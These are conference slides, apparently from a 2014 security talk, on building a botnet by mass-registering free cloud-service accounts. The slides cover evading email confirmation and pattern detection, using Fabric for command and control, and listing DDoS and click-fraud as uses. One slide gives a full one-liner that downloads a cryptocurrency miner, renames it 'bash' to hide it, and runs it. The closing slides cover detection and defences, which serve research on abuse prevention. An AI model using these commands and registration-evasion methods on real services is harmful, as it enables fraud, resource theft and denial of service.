cloud ninja catch me if you can!

36
#RSAC CLOUD NINJA Catch Me If You Can! Thursday, February 27, 2014 | 8:00am – 9:00am | West | Room: 3002

Upload: others

Post on 06-Feb-2022

4 views

Category:

Documents


0 download

TRANSCRIPT

Page 1: CLOUD NINJA Catch Me If You Can!

#RSAC

CLOUD NINJA Catch Me If You Can!

Thursday, February 27, 2014 | 8:00am – 9:00am | West | Room: 3002

Page 2: CLOUD NINJA Catch Me If You Can!

#RSAC

…and Violating Terms of Service Building a Botnet with Free Cloud-based Services

Page 3: CLOUD NINJA Catch Me If You Can!

#RSAC

7

Main Topics AUTOMATION – Automatically controlling

resources from freely available service providers STEALTH – Avoiding detection and bypassing

security controls PROTECTION – Anti-automation techniques and

security controls cloud providers can use to defend services

Page 4: CLOUD NINJA Catch Me If You Can!

8

Platform as a Service

Cloud PaaS

Page 5: CLOUD NINJA Catch Me If You Can!

#RSAC

9

Free Cloud Services

<Insert with other providers later>

Reference: http://goo.gl/AZ4nYp

Page 6: CLOUD NINJA Catch Me If You Can!

#RSAC

10

Automating Registration

Hurdles

Email address confirmation

CAPTCHA

Phone/SMS

Credit Card

Usability vs Security Cloud Providers (In)Security

Page 7: CLOUD NINJA Catch Me If You Can!

#RSAC

11

EMAIL CAPTCHA CREDIT CARD PHONE

Anti-Automation Fraudulent Account Registration

66%

33% More Anti-Automation

Email Confirmation Only

Page 8: CLOUD NINJA Catch Me If You Can!

#RSAC

12

Anti-Automation Techniques

Email address confirmation

CAPTCHA

Phone/SMS

Credit Card

Usability vs Security Cloud Providers (In)Security

Page 9: CLOUD NINJA Catch Me If You Can!

13

<Insert wall of random email addresses>

Realistic Randomness

Unique Email Addresses Avoid Pattern Recognition

Page 10: CLOUD NINJA Catch Me If You Can!

14

Unlimited usernames - Prevent pattern recognition

- Pull from real world examples

[local-part from dump]@domain.tld

Realistic Randomness

Real Email Addresses

Page 11: CLOUD NINJA Catch Me If You Can!

15

Unlimited domains - freedns.afraid.org

- Prevent detection

- Thousands of unique email domains

SMTP Services

Plethora of Email Addresses

Page 12: CLOUD NINJA Catch Me If You Can!

16

Unlimited email addresses

Free DNS Subdomains

Page 13: CLOUD NINJA Catch Me If You Can!

17

What do we need? • Free email relay

- Free MX registration

• Process wildcards - *@domain.tld

• Send unlimited messages - Unrestricted STMP to HTTP

POST/JSON requests

Free Signups

Receiving Email and Processing

Page 14: CLOUD NINJA Catch Me If You Can!

18

Automated email processing

- Extract important information from incoming emails

- Grep for confirmation token links and request them

Account registration - Automatic request sent to

account activation links

SMTP Services

Email Confirmation Token Processing

Page 15: CLOUD NINJA Catch Me If You Can!

19

What are we using? • Fabric

- Fabric is a Python library and command-line tool for streamlining the use of SSH for application deployment or systems administration tasks.

• fab check_hosts –P –z 20

• fab run_command

Botnet C2

Command & Control

Page 16: CLOUD NINJA Catch Me If You Can!

20

MongoDB

• MongoLab

• MongoHQ

Keeping track of all accounts

Storing Account Information

Page 17: CLOUD NINJA Catch Me If You Can!

DEMONSTRATION Automatic Account Creation

Page 18: CLOUD NINJA Catch Me If You Can!

FUNTIVITIES Botnets Are Fun!

Page 19: CLOUD NINJA Catch Me If You Can!

23

What can we do? • Distributed Network Scanning • Distributed Password Cracking • DDoS • Click-fraud • Crypto Currency Mining • Data Storage

Now we have a botnet! Fun!

Botnet Activities

Page 20: CLOUD NINJA Catch Me If You Can!

24

What are we using? • Fabric

- Fabric is a Python library and command-line tool for streamlining the use of SSH for application deployment or systems administration tasks.

• fab check_hosts –P –z 20

• fab run_command

Botnet C2

Command & Control

Page 21: CLOUD NINJA Catch Me If You Can!

25

Make money, money • Deploying miners • One command for $$$

All your processors are belong to us

Litecoin Mining

if [ ! -f bash ]; then wget http://sourceforge.net/projects/cpuminer/files/pooler-cpuminer-2.3.2-linux-x86_64.tar.gz && tar zxfv pooler-cpuminer-2.3.2-linux-x86_64.tar.gz && rm pooler-cpuminer-2.3.2-linux-x86_64.tar.gz && mv minerd bash; fi; screen ./bash –url=stratum+tcp://china.mine-litecoin.com --userpass=ninja.47:47; rm bash

Page 22: CLOUD NINJA Catch Me If You Can!

26

All your processors are belong to us

Litecoin Mining

Page 23: CLOUD NINJA Catch Me If You Can!

27

Refer Fake Friends

Unlimited Storage Space

Page 24: CLOUD NINJA Catch Me If You Can!

28

Refer Fake Friends

Unlimited Storage Space

Page 25: CLOUD NINJA Catch Me If You Can!

DEMONSTRATION Distributed Denial of Service (DDoS)

Page 26: CLOUD NINJA Catch Me If You Can!

DETECTION No one can catch a ninja!

Page 27: CLOUD NINJA Catch Me If You Can!

31

Automatic Backups • Propagate to other similar services

- e.g. MongoLab MongoHQ

• Infrastructure across multiple service providers

• Easily migrated

Armadillo Up ™

Disaster Recovery Plan

Page 28: CLOUD NINJA Catch Me If You Can!

RISING TREAD Active Attacks

Page 29: CLOUD NINJA Catch Me If You Can!

33

Adaptation

Cloud Provider Registration

Page 30: CLOUD NINJA Catch Me If You Can!

34

Adaptation

Cloud Provider Registration

Page 31: CLOUD NINJA Catch Me If You Can!

35

Adaptation

Cloud Provider Registration

Page 32: CLOUD NINJA Catch Me If You Can!

PROTECTION Bot Busters

Page 33: CLOUD NINJA Catch Me If You Can!

37

What should we do? • Analyzing properties of Sybil

accounts

• Analyzing the arrival rate and distribution of accounts

• Flag accounts registered with emails from newly registered domain names

• Email verification

• CAPTCHAs

• IP Blacklisting

• Phone/SMS verification

• Automatic pattern recognition

At Abuse vs At Registration

Protection

Reference: https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_thomas.pdf

Page 34: CLOUD NINJA Catch Me If You Can!

38

At Abuse vs At Registration

Protection

Advanced techniques • Signup flow events

- Detect common activities after signup

• User-agent - A registration bot may generate a different

user-agent for each signup or use uncommon user-agents

• Form submission timing - A bot that doesn't mimic human behavior by

performing certain actions too quickly can be detected

Reference: https://www.usenix.org/system/files/conference/usenixsecurity13/sec13-paper_thomas.pdf

Page 35: CLOUD NINJA Catch Me If You Can!

THANK YOU

Oscar Salazar @tracertea

Rob Ragan @sweepthatleg

[email protected]

Page 36: CLOUD NINJA Catch Me If You Can!

40

Platform as a Service

Free Cloud Services

<Insert with other providers later>

Reference: http://goo.gl/AZ4nYp